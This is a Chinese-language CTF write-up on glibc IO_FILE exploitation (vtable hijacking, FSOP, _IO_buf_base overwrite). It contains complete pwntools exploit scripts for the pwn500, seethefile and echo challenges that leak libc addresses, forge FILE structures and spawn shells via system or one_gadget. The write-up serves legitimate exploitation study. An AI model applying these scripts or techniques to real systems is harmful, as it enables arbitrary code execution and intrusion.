IO_FILE的利用

基础知识

参考ctf-wiki中对FILE文件结构的介绍。其中比较重要的是_IO_FILE_IO_jump_t两个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};


void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf,puts
9 NULL, // xsgetn #scanf
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};


struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

另外,printf和puts是对stdout进行操作的,执行时会调用vtable中的xsputn;scanf则是对stdin进行操作,调用vatbale的xsgetn。而write和read是直接进行系统调用,不会涉及vtable。

利用方式

常见的利用方式有三种:

  1. 直接修改_IO_FILE_plus中的vtable指针,使其指向伪造好的函数虚表,例子:2017胖哈勃杯Ox9A82大佬出的pwn500;或者修改整个_IO_FILE_plus,伪造一个完整的FILE结构体,目的同样是操作vtable中的函数,例子:pwnable.tw seethefile。但是在libc2.24及之后,加入了对IO_FILE_plus的vtable地址合法性的检测。因此该利用只适用于libc2.23及之前。
  2. FSOP:通过劫持_IO_list_all的值来修改链表中的_IO_FILE结构,用_IO_flush_all_lockp来触发vtable中的_IO_OVERFLOW。通过修改_IO_OVERFLOW的地址实现利用,例子:2018 SUCTF NOTE。
  3. 修改_IO_buf_base实现对内存的写操作,例子:2018 CISCN echo

直接修改vtable/IO_FILE_plus

以Ox9A82的pwn500为例,思路是通过修改global_max_fast,使得一个很大的chunk也会放在fastbin中,由于_int_free是利用idx找到fastbin的位置,当idx很大时候,能够覆盖掉stdout的vtable。

_int_free中关于fastbin的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
……

free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

set_fastchunks(av);
//计算idx: ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
unsigned int idx = fastbin_index(size);
//通过idx在arena中找到对应地址
fb = &fastbin (av, idx);

……
}

如果计算出stdout的vtable和main_arena中fastbin地址之间的距离,申请这样大小的内存,地址为addr。在free时,fb指向的就是stdout的vtable,由于在free时会修改fastbin头的FD指针,即fb->FD = addr,至此,stdout的vtable就指向了堆中的一块内存。这块内存中可以存放构造好的虚函数指针,进而获取shell。

利用脚本如下(可能由于libc的版本问题,本地并没有调通,但通过gdb的调试查看vtable已经覆写成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#one_gadget not success
from pwn import *
context.log_level = 'debug'

p = process('./pwn500')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gadget =[0x45216,0x4526a,0xf02a4,0xf1147]

def meyer():
p.sendlineafter("Pls input your choice:\n",'1')

def ponderosa():
p.sendlineafter("Pls input your choice:\n",'2')

def advice():
p.sendlineafter("Pls input your choice:\n",'3')

def submit(phone,addr):
p.sendlineafter("Pls input your choice:\n",'4')
p.sendlineafter("Pls input your phone number first:\n",phone)
p.sendlineafter("Ok,Pls input your home address\n",addr)

def add():
p.sendlineafter("Pls Input your choice:\n",'2')

def remove():
p.sendlineafter("Pls Input your choice:\n",'3')

def leave_msg(msg):
p.sendlineafter("Pls Input your choice:\n",'4')
p.sendlineafter("Get Input:",msg)

def advice_msg(size):
p.sendlineafter("4.return\n",'1')
p.sendlineafter("Input size(200~8000):\n",str(size))

def advice_edit(msg):
p.sendlineafter("4.return\n",'2')
p.sendlineafter("Input your advise\n",msg)

def advice_dele():
p.sendlineafter("4.return\n",'3')


submit('123456','a'*0x28)
p.recvuntil('a'*0x28)
atoi_addr = u64(p.recv(6).ljust(8,'\x00'))-16
log.info('atoi_addr:%#x',atoi_addr)

sys_addr = atoi_addr-(libc.symbols['atoi']-libc.symbols['system'])
one_gadget = atoi_addr-(libc.symbols['atoi']-gadget[0])
max_fast = atoi_addr-libc.symbols['atoi']+3958776

meyer()
add()
leave_msg('a'*24+p64(max_fast))
p.sendlineafter("Pls Input your choice:\n",'5')

advice()
advice_msg(6064)
advice_edit(p64(0xdeadbeef)*5+p64(one_gadget))
p.sendlineafter("4.return\n",'4')

meyer()
remove()
leave_msg(p64(0xffffffff))
p.sendlineafter("Pls Input your choice:\n",'5')

advice()
advice_dele()

p.interactive()

pwnble.tw–seethefile则是通过覆盖掉FP指针,使其指向可控的位置,伪造vtable修改fclose函数地址。

fclose先调用unlink将FILE结构解链,但由于这个FP并不在链中,并没有解下来,但也没继续追究;然后调用_IO_file_close_it将文件关闭,接着调用_IO_FINISH。修改_IO_FINISH为system,并且FP地址前几个字节写入sh,即可获取shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.log_level='debug'

debug = 1
if debug:
p= process('./seethefile')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('chall.pwnable.tw',10200)
libc = ELF('./libc_32.so.6')
d = 1

def openfile(filename):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('What do you want to see :')
p.sendline(filename)
def readfile():
p.recvuntil('Your choice :')
p.sendline('2')
def writefile():
p.recvuntil('Your choice :')
p.sendline('3')
def closefile():
p.recvuntil('Your choice :')
p.sendline('4')
def leave(name):
p.recvuntil('Your choice :')
p.sendline('5')
p.sendline(name)


#read base addr of libc and seethefile
openfile('/proc/self/maps')
readfile()
writefile()
elf_base = int(p.recv(8),16)

readfile()
writefile()
#p.recvuntil('0 rw-p 00000000 00:00 0 \n')
p.recvline()
if debug:
p.recvline()#for local,delete for romote
libc_base = int(p.recv(8),16)

libc.address = libc_base
sys_addr = libc.symbols['system']
log.info('sys_addr:%#x',sys_addr)
print 'elf_base:%x,libc_base: %x' %(elf_base,libc_base)

#shellcode = asm('push 0x68732f\n push 0x6e69622f\nmov ebx, esp\nxor ecx,ecx\nxor edx,edx\nmov al,0xb\nint 0x80')

fp = elf_base + 0x3284
file_struct = 'sh\0\0'+'\x00'*4+'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x2e\x6f\xf7\x00\x00\x00\x02\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00'
file_struct += '\xc4'+p32(libc_base-0x200)+'\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x80\x24\x6f\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf7'
file_struct += p32(fp+0x94)

payload = 'a' *32 + p32(fp) +file_struct +p32(0xdeadbeef)*16+ p32(sys_addr)
if d:
gdb.attach(p,"b *0x8048ae0")
leave(payload)

p.interactive()
#'\xff\x30\xad\xfb'

FSOP

参考2018suctf-note

_IO_buf_base

以echo为例。本题有一个明显的格式化字符串漏洞(但我并没看出来),能够泄露libc地址、栈地址,也能写内存。向stdin的_IO_buf_base中写入\x00,使_IO_buf_base指向_IO_write_base

这里要介绍一下这几个指针。当fp->_IO_read_ptr < fp->_IO_read_end时,会向_IO_read_ptr中缓存输入,并执行_IO_read_ptr++;当fp->_IO_read_ptr >= fp->_IO_read_end时,输入的内容就会缓存到_IO_buf_base,且读入的字节数是count = _IO_buf_end-_IO_buf_base,并且_IO_read_end会向后挪动count个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
……
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

// read(0, _IO_buf_base, count)
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
// read_end加上这次读所读到的字节数
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

_IO_buf_base指向_IO_write_base时,_IO_read_ptr == _IO_read_end(在scanf和getchar的配合之下,每次都能使_IO_read_ptr == _IO_read_end),在scanf时就会执行read(0, _IO_buf_base, count),再次对FILE结构中的指针进行覆写,此时可以将_IO_buf_base覆写为栈中返回地址的位置。

为了能够继续覆写返回地址,继续利用scanf,但要先消耗掉_IO_read_ptr。原因在于,刚才的操作count为0x64,_IO_read_end += count,将_IO_read_end向后挪动了0x64个字节,下一个getchar,_IO_read_ptr++,此时_IO_read_ptr_IO_read_end相差了0x63字节。消耗掉这0x63字节后,才会继续向_IO_buf_base写入。

利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level='debug'

p = process('./echo')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
gadget =[0x45216,0x4526a,0xf02a4,0xf1147]

def set_name(name):
p.sendlineafter("choice>> ","1")
p.sendlineafter("name:",name)

def echo(l,content):
p.sendlineafter("choice>> ","2")
p.sendlineafter("length:",str(l))
p.sendline(content)

echo(-1,"%3$p")
p.recvuntil(" say:")
libc_addr = int(p.recv(14),16)-0xf72c0
log.info("libc_addr:%#x",libc_addr)

echo(-1,"%12$p")
p.recvuntil(" say:")
ebp_addr = int(p.recv(14),16)-0x30
log.info("ebp_addr:%#x",ebp_addr)

#gdb.attach(p)
set_name(p64(libc_addr+0x3c48e0+0x38))#stdin->IO_buf_base

echo(-1,"%16$hhn")#write 0 to io_but_ptr's last byte,now IO_buf_base->io_write_base

payload= p64(libc_addr+0x3c48e0+0x20+0x63)*3 #three io_write_*
payload +=p64(ebp_addr+8)#IO_buf_base
payload +=p64(ebp_addr+8+12)#io_buf_end
payload +=p64(0)*6
payload +=p64(0xffffffffffffffff)
payload +=p64(0)

echo(payload,'flow')

for i in range(0,0x63):
echo(1,'1')

echo(p64(libc_addr+gadget[0]),'attack')
p.interactive()